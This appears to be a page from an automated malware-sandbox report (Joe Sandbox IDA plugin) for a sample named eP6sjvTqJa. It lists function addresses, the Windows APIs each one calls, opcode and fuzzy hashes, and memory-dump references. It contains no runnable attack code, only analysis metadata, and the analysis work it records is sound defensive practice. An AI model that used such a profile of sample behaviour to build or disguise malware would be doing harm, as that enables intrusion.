Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: Message$DialogDispatchItemPeekTextTranslate__vswprintf_c_l_swprintf
String ID:
API String ID: 2718869927-0
Opcode ID: 7372f5e9f480c6ddf91293e391655e46c113ab5454bb998660e8aa0d5aabcd13
Instruction ID: abd93056080cca48fe21ae8402bb56df656955d6260b7cbf5eb1701adf3904c3
Opcode Fuzzy Hash: 7372f5e9f480c6ddf91293e391655e46c113ab5454bb998660e8aa0d5aabcd13
Instruction Fuzzy Hash: 29E09B7140424866DF01B760DC06F9F3BEC5B05785F040495B640DB1B2DE74D6108761

Function 00B9081B Relevance: 3.0, APIs: 2, Instructions: 24libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00B90836
LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00B8F2D8,Crypt32.dll,00000000,00B8F35C,?,?,00B8F33E,?,?,?), ref: 00B90858

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: DirectoryLibraryLoadSystem
String ID:
API String ID: 1175261203-0
Opcode ID: 62c06c5e9b3db75cd455ceb9087fd5b7285c87508ec550d015cc6a8778731603
Instruction ID: 58e1fa29d39f20864d755cead5fd9fe6fa3578b1ed865af951dce29c4c358a43
Opcode Fuzzy Hash: 62c06c5e9b3db75cd455ceb9087fd5b7285c87508ec550d015cc6a8778731603
Instruction Fuzzy Hash: A1E01276504118ABDF11B7A49C45FDA77ECEF09791F4400B57645D2104DAB4DA84CBA0

Function 00B9A3B9 Relevance: 3.0, APIs: 2, Instructions: 23windowCOMMON

Download Yara Rule

APIs

GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 00B9A3DA
GdipCreateBitmapFromStream.GDIPLUS(?,?), ref: 00B9A3E1

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: BitmapCreateFromGdipStream
String ID:
API String ID: 1918208029-0
Opcode ID: d212d97e786e4d7b0d62c27a92219b463e4d192304598a15f56fd7e32793daf5
Instruction ID: 19223c38242625f072777a51904cd1da807b329d32c54cd4746a809f273a7c98
Opcode Fuzzy Hash: d212d97e786e4d7b0d62c27a92219b463e4d192304598a15f56fd7e32793daf5
Instruction Fuzzy Hash: B8E0ED71504218EBCB10DF55C541799BBE8EB04360F20C4AAA85693201E7B4AE04DB91

Function 00BA2B8C Relevance: 3.0, APIs: 2, Instructions: 19COMMON

Download Yara Rule

APIs

___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00BA2BAA
___vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 00BA2BB5

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: Value___vcrt____vcrt_uninitialize_ptd
String ID:
API String ID: 1660781231-0
Opcode ID: 499a5cde2f8de7f70cb65316586b9196ca5bfa8f7295f3849afabfa17bc8556b
Instruction ID: e1b723cc84983fa88a22a090afc9199883e7a21d5e3fe1884cc8a04a248da1ce
Opcode Fuzzy Hash: 499a5cde2f8de7f70cb65316586b9196ca5bfa8f7295f3849afabfa17bc8556b
Instruction Fuzzy Hash: 7DD0A93829C3046B6C142B7D2A0258823C9ED43B707E042DAF821968E2EE508040A031

Function 00B812F1 Relevance: 3.0, APIs: 2, Instructions: 11COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00B81306
ShowWindow.USER32(00000000), ref: 00B8130D

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: ItemShowWindow
String ID:
API String ID: 3351165006-0
Opcode ID: a494df2f6ccb9bc163ff020f991d9f79738d3063fe92c9b977e674051e2e2896
Instruction ID: f8e1327dea0bb86d47dc2b230bee990138279419a97f2ce03558129641e88afc
Opcode Fuzzy Hash: a494df2f6ccb9bc163ff020f991d9f79738d3063fe92c9b977e674051e2e2896
Instruction Fuzzy Hash: 28C0123205C280BECB010BB4DC0DC2BBBE8ABA5712F04C90CB0A5D2060CA38C150DB12

Function 00B81A04 Relevance: 1.8, APIs: 1, Instructions: 312COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00B81A09

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: b50d7c86b106402c290cb9f621d7b6fc4acc4146e71bd445599e9b23636de691
Instruction ID: 66d25f24acc9290956aeccc197debd05b50b33edcab76f05c2d258e1925b7294
Opcode Fuzzy Hash: b50d7c86b106402c290cb9f621d7b6fc4acc4146e71bd445599e9b23636de691
Instruction Fuzzy Hash: 7CC1A070A022549BEF15EF6CC4C4BA97BE9EF15310F0809F9EC459F2A2DB709946CB61

Function 00B83BBA Relevance: 1.7, APIs: 1, Instructions: 177COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00B83BBF

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 061fd71c9f5635bbfbb6c530a8cb6a010689c3e1b749a16c76f3aed01e7ed81b
Instruction ID: 068c0e6fd38f47ddb7eef5ff801f0e80d050c765248a9ddbbd2108711efb9254
Opcode Fuzzy Hash: 061fd71c9f5635bbfbb6c530a8cb6a010689c3e1b749a16c76f3aed01e7ed81b
Instruction Fuzzy Hash: B971D471500B44AEDB35EB74C8919E7B7E9EF14B01F4009AEE6AB87251DA327684CF11

Function 00B88284 Relevance: 1.6, APIs: 1, Instructions: 114COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00B88289

Part of subcall function 00B813DC: __EH_prolog.LIBCMT ref: 00B813E1

Part of subcall function 00B8A56D: FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 00B8A598

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: H_prolog$CloseFind
String ID:
API String ID: 2506663941-0
Opcode ID: e9b93217c9002f7becb1a7a93067f863fcd21d1d82f7f161fb802d3a04b6e9bc
Instruction ID: cc062ac1764103a978f6f9409bf87e366f35624f2e31d45caa4ad8202059e06f
Opcode Fuzzy Hash: e9b93217c9002f7becb1a7a93067f863fcd21d1d82f7f161fb802d3a04b6e9bc
Instruction Fuzzy Hash: 2D4183719446589BDB24FB60CC55AEAB3F8EF00704F8404EAF18AA71A3EB755EC5CB50

Function 00B813E1 Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00B813E1

Part of subcall function 00B85E37: __EH_prolog.LIBCMT ref: 00B85E3C

Part of subcall function 00B8CE40: __EH_prolog.LIBCMT ref: 00B8CE45

Part of subcall function 00B8B505: __EH_prolog.LIBCMT ref: 00B8B50A

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: bbbf92444e0362985152b54b82a9a3323a6a3ee7dc32619ca5de6957b74dd695
Instruction ID: 58690fa73a202124110e42aaf0eb2d463aae85f5275199df77f7fef5fe5331d1
Opcode Fuzzy Hash: bbbf92444e0362985152b54b82a9a3323a6a3ee7dc32619ca5de6957b74dd695
Instruction Fuzzy Hash: AF4137B0905B40DEE724DF398885AE6FBE5BB28310F54496EE5FE83292CB716654CB10

Function 00B813DC Relevance: 1.6, APIs: 1, Instructions: 95COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00B813E1

Part of subcall function 00B85E37: __EH_prolog.LIBCMT ref: 00B85E3C

Part of subcall function 00B8CE40: __EH_prolog.LIBCMT ref: 00B8CE45

Part of subcall function 00B8B505: __EH_prolog.LIBCMT ref: 00B8B50A

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 5af734ea797113dcdd30abe96cec57e0dc4a18ee74e74fe2f9c8caf1c4e49c26
Instruction ID: da2b3a741dc43a993d91232d58cdbc73badfcc644634df93f07cb81f06a63ae7
Opcode Fuzzy Hash: 5af734ea797113dcdd30abe96cec57e0dc4a18ee74e74fe2f9c8caf1c4e49c26
Instruction Fuzzy Hash: 574167B0905B40DEE724DF398885AE6FBE5BF28310F50496ED5FE83292CB726654CB10

Function 00B9B093 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00B9B098

Part of subcall function 00B813DC: __EH_prolog.LIBCMT ref: 00B813E1

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 3f439019f59b878776f55ccfb81ea2943f926ef975d2e1ff7965ad2522227188
Instruction ID: f4395e35bd2f934436519693877b8e538ff7df9ca08419b69c7db89740fa8a25
Opcode Fuzzy Hash: 3f439019f59b878776f55ccfb81ea2943f926ef975d2e1ff7965ad2522227188
Instruction Fuzzy Hash: 45318C71815259EACF14EF68D9919EEBBF8AF09300F1044EEE409B3252D735AE05CB61

Function 00BAAC98 Relevance: 1.6, APIs: 1, Instructions: 65libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,00BB3A34), ref: 00BAACF8

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: ec9e8e6dc0bf9d6fe4ab22f02acb0d0dcaae922608572ea339244127e43bb4a6
Instruction ID: a6c57f6a20656538af3b26d940a5ac4a701fd0362db0665ad4687282eace1b83
Opcode Fuzzy Hash: ec9e8e6dc0bf9d6fe4ab22f02acb0d0dcaae922608572ea339244127e43bb4a6
Instruction Fuzzy Hash: 0F110A336082256F9B229E19DC5099A73D5EB8633071642A1FC95AB264EF34DC01C7E2

Function 00B8CE40 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00B8CE45

Part of subcall function 00B85E37: __EH_prolog.LIBCMT ref: 00B85E3C

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 4f3964839b9e626166b1cc84ee40845ca7a174b2692c442c2745540590ef1ed3
Instruction ID: cbeb3186ea55a679d8feefed38a0ef193769ce2f28148ffdcd3b72f364a29b5e
Opcode Fuzzy Hash: 4f3964839b9e626166b1cc84ee40845ca7a174b2692c442c2745540590ef1ed3
Instruction Fuzzy Hash: 581170B1A01244DEEB14EB79C945BAEBBE89F54300F1044AEE446D3292DB749E04CB62

Function 00B89215 Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00B8921A

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 20f1974e333f3ba97600de247c41c224a7e804c7c803ebac929fda8de73fced4
Instruction ID: 97d5ddc6b4e0e7d873d1aa412f055fa9c08020ef0619b82714b1e2edc3e80f24
Opcode Fuzzy Hash: 20f1974e333f3ba97600de247c41c224a7e804c7c803ebac929fda8de73fced4
Instruction Fuzzy Hash: 12015233900528ABCF11BFA8CC819EEB7B5EF88750B0546A5E816B7172DA34CD05C7A0

Function 00BAC479 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

Part of subcall function 00BAB136: RtlAllocateHeap.NTDLL(00000008,00BB3A34,00000000,?,00BA989A,00000001,00000364,?,?,?,00B8D984,?,?,?,00000004,00B8D710), ref: 00BAB177

_free.LIBCMT ref: 00BAC4E5

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 7bcb57144d722b3f6fb3f884bcb86c333c53e20e4031edd189f970cc783d8b92
Instruction ID: 5d85432c6b2915eb71923d0e0413e3ae224b22b30eaa48f14e1ced495f88e700
Opcode Fuzzy Hash: 7bcb57144d722b3f6fb3f884bcb86c333c53e20e4031edd189f970cc783d8b92
Instruction Fuzzy Hash: FD01D6722083056BE3318E65988596AFBE9EB8A370F25056DE59493281EF30A905C778

Function 00BAB136 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,00BB3A34,00000000,?,00BA989A,00000001,00000364,?,?,?,00B8D984,?,?,?,00000004,00B8D710), ref: 00BAB177

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 35b8a173f4fbbada790b473bf1e58aa62c5dcdf2d2d1a7da3a2588285caa43e4
Instruction ID: 8e5915c9bbe0f694933410fd6529569b2646d5c4490c03f958a808b39de3d9e5
Opcode Fuzzy Hash: 35b8a173f4fbbada790b473bf1e58aa62c5dcdf2d2d1a7da3a2588285caa43e4
Instruction Fuzzy Hash: 9CF0B43252D12477DB255A61AC25F5E77C8FF43770B188291F828BB192CF30D90186E0

Function 00BA3C0D Relevance: 1.5, APIs: 1, Instructions: 34libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,?), ref: 00BA3C3F

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: 5b7ce569f6a1e5e88cdd594c4362479c9cad09c5ba80e1ebebe16f48b54da503
Instruction ID: 8e47440bf341f0ab3c251f5173c8ac7fa161febc25f69d66d2a6d9781b863009
Opcode Fuzzy Hash: 5b7ce569f6a1e5e88cdd594c4362479c9cad09c5ba80e1ebebe16f48b54da503
Instruction Fuzzy Hash: D4F0A0322083169F8F119EA8EC04A9A77E9EF02F307104165FA05E7190EB31EA20C790

Function 00BA8E06 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,00000000,?,00BACA2C,00000000,?,00BA6CBE,?,00000008,?,00BA91E0,?,?,?), ref: 00BA8E38

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 5205025a350fdbba8973c4a664c891f88dd4588ade22c9c04bffb8b419f1495d
Instruction ID: 7b05517995c84bd4f3fdbdb1254e72eacee8ab5125a4493833bd7a66f1f2ecb4
Opcode Fuzzy Hash: 5205025a350fdbba8973c4a664c891f88dd4588ade22c9c04bffb8b419f1495d
Instruction Fuzzy Hash: 3EE06D3120E225E7EB762B659C05B9B76C8EF437B4F1502E1AC5EAB891DF61CD0086E1

Function 00B85ABD Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00B85AC2

Part of subcall function 00B8B505: __EH_prolog.LIBCMT ref: 00B8B50A

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
